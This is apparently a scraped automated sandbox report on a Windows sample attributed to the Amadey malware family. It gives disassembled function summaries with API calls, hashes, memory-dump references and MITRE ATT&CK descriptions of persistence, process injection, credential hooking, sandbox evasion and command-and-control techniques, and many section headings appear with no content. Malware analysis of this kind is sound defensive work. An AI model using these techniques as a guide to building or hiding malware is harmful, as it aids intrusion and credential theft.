Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fc14e330313fb72ba5dd7fcf32a6912205ba8a3ecc25a42f3b0d82ec6c0ad97e
Instruction ID: 193be099a5042dff4106fb8eb92dd538b8c53b6c8248186273b90ec69aed26a7
Opcode Fuzzy Hash: fc14e330313fb72ba5dd7fcf32a6912205ba8a3ecc25a42f3b0d82ec6c0ad97e
Instruction Fuzzy Hash: 92F04F32920212A7D635EA9DE4CDC1ABFDDEA24350BA4480AF249D7604CA32FD904660

Uniqueness

Uniqueness Score: -1.00%

Function 012F2075, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(012D3D40,74786490,012FF058,00000000,012D3D40,?,012EF4B1,012D3D40,00000001,012D3D40,012D3D40,?,012E8D0E,00000000,?,012D3D40), ref: 012F208C
GetLastError.KERNEL32(?,012EF4B1,012D3D40,00000001,012D3D40,012D3D40,?,012E8D0E,00000000,?,012D3D40,00000000,012D3D40,?,012E9262,012D3D40), ref: 012F2098

Part of subcall function 012F205E: CloseHandle.KERNEL32(FFFFFFFE,012F20A8,?,012EF4B1,012D3D40,00000001,012D3D40,012D3D40,?,012E8D0E,00000000,?,012D3D40,00000000,012D3D40), ref: 012F206E

___initconout.LIBCMT ref: 012F20A8

Part of subcall function 012F2020: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,012F204F,012EF49E,012D3D40,?,012E8D0E,00000000,?,012D3D40,00000000), ref: 012F2033

WriteConsoleW.KERNEL32(012D3D40,74786490,012FF058,00000000,?,012EF4B1,012D3D40,00000001,012D3D40,012D3D40,?,012E8D0E,00000000,?,012D3D40,00000000), ref: 012F20BD

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b27f3e3d15c189f6d44e9132e0fb28754660e78807d1323b0216a7b7926544b2
Instruction ID: 95bd67dec310b14a87640b2380e5daa7de6697b3e0a71c5e099b8f12b4b36728
Opcode Fuzzy Hash: b27f3e3d15c189f6d44e9132e0fb28754660e78807d1323b0216a7b7926544b2
Instruction Fuzzy Hash: 2DF0F837110119BBCF222E95AC08E99BE6AEF197B0F44402DFB1896120D632C860DB94

Uniqueness

Uniqueness Score: -1.00%

Function 012D2570, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 231synchronizationCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 012D269C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 012D26C7

Strings

<, xrefs: 012D266C

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecuteObjectShellSingleWait
String ID: <
API String ID: 1289292659-4251816714
Opcode ID: 31769d1081d643bd13484123fc83e46a3af7794beb27ef4f5ac5b005dd0c7b51
Instruction ID: f9f3520fe0f723c4fe3b92a4e4ef2c867af811762cb96d40afef92929f7ad12a
Opcode Fuzzy Hash: 31769d1081d643bd13484123fc83e46a3af7794beb27ef4f5ac5b005dd0c7b51
Instruction Fuzzy Hash: DA813071620345DBEB289F38C98876E7FE1EF85304F94461DF84687285DB71C981CB92

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report vhNyVU8USk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre